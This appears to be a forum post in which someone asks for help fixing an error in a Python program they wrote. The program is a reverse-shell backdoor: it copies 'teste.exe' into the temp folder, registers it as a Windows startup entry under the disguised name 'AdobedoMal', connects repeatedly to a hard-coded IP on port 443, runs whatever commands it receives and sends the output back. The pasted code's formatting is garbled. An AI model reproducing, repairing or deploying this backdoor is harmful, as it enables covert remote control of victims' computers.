I can not solve this problem that says: "The syntax of the file name, directory name, or volume label is incorrect." I thought it was an ill-specified path, but I do not think it was.
import socket,time,subprocess,tempfile,os
ip='192.168.0.102'
port=443
FILENAME='teste.exe'
TEMPDIR=tempfile.gettempdir()
def autorun():
try:
os.system("copy "+FILENAME+""+TEMPDIR)
except:
print("Erro na cópia")
pass
try:
FNULL=open(os.devnull, 'w')
subprocess.Popen("REG ADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\""/v AdobedoMal /d" +TEMPDIR+"\"+FILENAME, stdout=FNULL,stderr=FNULL)
except:
print("Erro no registro")
pass def connect(ip,port):
try:
s=socket.socket()
s.connect((ip,port))
s.send(b'Conecxao Recebida')
return s
except Exception as e:
print('Erro de conexao:\n', e)
return None def listen(s): try:
while True:
data=s.recv(1024)
if data[:-1]== 'exit':
s.close()
exit(0)
else:
cmd(s,data) except:
error(s) def cmd(s,data):try: proc=subprocess.Popen(data.decode(), shell=True,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
dados=proc.stdout.read()+proc.stderr.read()
s.send(dados)
except:
error(s)
def error(s):
if s:
s.close()
main()
def main():
while True:
s_conectado=connect(ip,port)
if s_conectado:
listen(s_conectado)
else:
print("Conexao deu erro")
time.sleep(1)
autorun()
main()